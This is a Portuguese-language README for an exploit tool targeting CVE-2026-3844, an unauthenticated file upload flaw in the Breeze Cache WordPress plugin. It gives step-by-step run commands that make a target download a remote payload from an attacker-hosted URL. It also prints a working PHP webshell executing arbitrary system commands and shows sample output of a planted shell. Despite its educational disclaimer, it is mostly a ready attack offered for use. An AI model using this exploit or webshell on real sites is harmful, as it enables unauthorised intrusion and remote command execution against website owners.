
WordPress - Breeze Cache <= 2.4.4 - Upload Arbitrário de Arquivo Não Autenticado
ESTA FERRAMENTA É FORNECIDA APENAS PARA FINS EDUCACIONAIS E DE PESQUISA EM SEGURANÇA.
O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas em
sistemas que você possui ou para os quais tenha permissão explícita de teste. O autor não se
responsabiliza por qualquer uso indevido ou dano causado por este software.
CVE-2026-3844 é uma vulnerabilidade crítica de upload arbitrário de arquivos não autenticado no plugin Breeze Cache para WordPress (versões ≤ 2.4.4). O plugin falha ao validar corretamente o parâmetro srcset em comentários, permitindo que atacantes remotos enviem arquivos maliciosos (incluindo webshells) para o servidor.
A vulnerabilidade explora a funcionalidade de cache de Gravatar no Breeze. Quando um comentário é postado com um parâmetro srcset especialmente elaborado contendo uma URL de arquivo remoto, o Breeze baixa e armazena o arquivo localmente em:
/wp-content/cache/breeze-extra/gravatars/[marcador_aleatório][extensão_do_arquivo]
Pré-requisito: A opção "Hospedar Arquivos Localmente - Gravatars" deve estar habilitada nas configurações do Breeze.
# Clonar o repositório
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844
# Instalar dependências
pip install pycurl termcolor
python3 CVE-2026-3844.py -u http://target.com
# Verificar se o alvo é vulnerável sem exploração
python3 CVE-2026-3844.py -u http://target.com --check-only
# Usar URL de payload personalizada
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php
# Salvar saída em arquivo
python3 CVE-2026-3844.py -u http://target.com -o shells.txt
# Aumentar timeout para alvos lentos
python3 CVE-2026-3844.py -u http://target.com --timeout 30
| Argumento | Descrição |
|---|---|
-u, --url | URL do alvo (obrigatório) |
-p, --payload | URL do payload remoto |
--timeout | Timeout da requisição em segundos (padrão: 15) |
--check-only | Apenas verificar se o alvo é vulnerável |
-o, --output | Salvar URL do shell em arquivo |
Crie seu próprio webshell (shell.php):
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Hospede-o em algum lugar acessível e depois use:
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php
O exploit verifica automaticamente a string de verificação 4356452d323032362d33383434 (hex codificado de "CVE-2026-3844") no arquivo enviado para confirmar a exploração bem-sucedida.
[*] FASE 1: AVALIAÇÃO DE VULNERABILIDADE
[*] Verificando versão do plugin Breeze...
[+] Alvo VULNERÁVEL (Breeze v2.4.4)
[*] FASE 2: EXPLORAÇÃO
[!] REQUISITO: 'Hospedar Arquivos Localmente - Gravatars' DEVE ESTAR HABILITADO
[*] Passo 1: Enviando comentário malicioso...
[+] Comentário postado com sucesso
[*] Passo 2: Aguardando o Breeze armazenar o arquivo em cache...
[*] Passo 3: Verificando arquivo enviado...
[+] Arquivo encontrado em: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] STRING DE VERIFICAÇÃO ENCONTRADA - EXPLORAÇÃO BEM-SUCEDIDA!
[✓] STATUS: SUCESSO
[✓] URL DO WEBSHELL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
CVE-2026-3844/
├── CVE-2026-3844.py # Script principal do exploit
├── README.md # Este arquivo
└── LICENSE # Licença MIT
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para detalhes.
Se você achar esta ferramenta útil, por favor dê uma estrela ⭐ no GitHub!